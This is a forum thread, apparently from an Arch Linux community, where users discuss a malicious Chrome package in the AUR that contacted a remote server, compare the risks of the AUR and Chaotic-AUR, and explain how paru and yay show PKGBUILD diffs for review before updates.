Chrome is indeed only in AUR, but Chromium is in Extra repo.
I don’t get why anyone would want to install Chrome from AUR in the first place though
1 Like
That is weird. Vivaldi is Arch Packages list and so is Firefox. While Google Chrome and Brave are both in AUR. No wonder Google chrome was chosen as the target. The worlds most widely used browser became a vector of attack.
The Linxiac article is revelatory. The infected chrome package disables all the configuration done by google chrome and stored in ~/.config/chrome-flags.conf then it goes ahead and contacts the server segs.lol. After doing a reverse lookup, ping and DNS query it is found that this server has a IP address of 104.21.90.193 and is hosted in USA. This domain was registered on June 19th 2025.
segs.lol hosts files.
It has a github source and everything.
That it was used does not (necessarily) mean the domain/server or its operator was the malicious actor.
1 Like
There are also Firefox and Vivaldi packages in the AUR, and the previous RAT was also related to firefox.
If that is the case then segs.lol will be able to help with the ip address, user and other details regarding who uploaded the stuff that the malicious Google Chrome was trying to download.
Even Microsoft can help with the ip address and other email addresses used to created the various git repositories used.
And i thought microsoft had alot of rats working for them….
4 Likes
Two attacks/attempts within 15 days. Is someone or some group targeting Arch. And are they doing something similar to other distros too?
May be a reason to research AUR package solutions in the Arch wiki before blindly installing. There are links to the true AUR packages there
2 Likes
Just wanted to share the picture that has been used in the article that shows the malicious PKGBUILD.
It should be obvious that a .lol url is definitely not a trustworthy source.
Thus, just let me stress the fact to check the AUR’s package descriptions page. But already the search results of the package search does already list the package votes & popularity. And details of the last update to the package.
Therefore it’s pretty easy to avoid, just by using some sanity checks and relying on the AURs voting system and the metrics. Which is definitely recommended solely by the fact that packages without any updates might be stale, out of date or without a active maintainer and hasn’t been flagged as an orphan, yet.
The PKGBUILDs are directly linked in the packages details page. And can be reviewed online, without the need of even fetching it.
I’m pretty certain that there are some automatic tests already deployed by some devs which will flag potentially dubious sources within the PKGBUILDs to actively monitor new package submissions to the AUR.
And I’m also pretty sure about the fact that reactions would be swift and the maintainer of malicious packages will be banned and their packages being removed reklatively quick.
There are still package maintenance guidelines in place that should prevent uploading malicious content, it’s not that straight forward and the packages have to signed via ssh, user accounts are mandatory and such.
In short: The recent RAT incidences have been spotted fast and were removed quickly. As the links weren’t even obscured or hosted via reputable sources / hosts, essentially “hidden” in plain sight.
Good to know why I know for sure now why I prefer the AUR over the Chaotic AUR.
Just to clarify, none of these malicious packages were ever added to the Chaotic-AUR repo.
Also, similar to the AUR you can review a PKGBUILD for a package in the Chaotic-AUR from the web page if you want to.
You can also examine the build log for any package if you wish, to see exactly what happened when the package was built.
I’m not saying people should or should not use the Chaotic-AUR, just providing some clarification in case anyone finds it useful.
In my opinion the Chaotic-AUR should be considered an equivalent risk to using the AUR, meaning users should carefully evaluate packages before deciding if they want to install them or not.
3 Likes
I would say that this is not at all true from my perspective. There are a couple of reasons for this:
- You need to trust the chaotic-aur pipeline. If the pipeline is compromised, there is no guarantee that the completed packages are actually based on the source displayed.
- The much bigger reason is that there is no easy way to review the package changes during the update process. When I update an AUR package using
paruI get a color coded diff to review that shows me the changes. Even when 10+ AUR packages are being updated it takes me less than 30 seconds to do the whole review. If anything malicious or inappropriate was added to a package, it would be immediately obvious.
I have said this many times in the past but, when used properly, the AUR is by far the safest community maintained repo.
6 Likes
What setting do use in your paru config to do that, I checked the par man-page but didn’t come across a setting that describes that?
The automated diffs are enabled by default. The color coding is enabled when Color is enabled in /etc/pacman.conf
Thanks! I already had the Color option enabled in pacman.conf. Didn’t know it is default behavior of paru, will check it with next PKGBUILD update.
yay shows diffs for AUR packages, too, right?? Tried it today for brave-bin and there were chenges in the maintainers section, but no PKGBUILD (maybe no changes…)
If you enable it.
If brave-bin were updated, there would have to be changes to the PKGBUILD. At the very least, the version and sums would need to be updated.
1 Like
this too shall pass.
I am impressed with the hyper-vigilance of the AUR users who do all the inspecting, reading, heavy lifting, and sounding the alarm bells.
1 Like
Keep in mind, if you haven’t been using paru, it will probably show you the whole thing as new. You won’t see meaningful diffs until the second time you update.
1 Like
I am guessing if I have chrome already installed and used yay to update it it would have not pulled the rat into chrome.If so how would one check.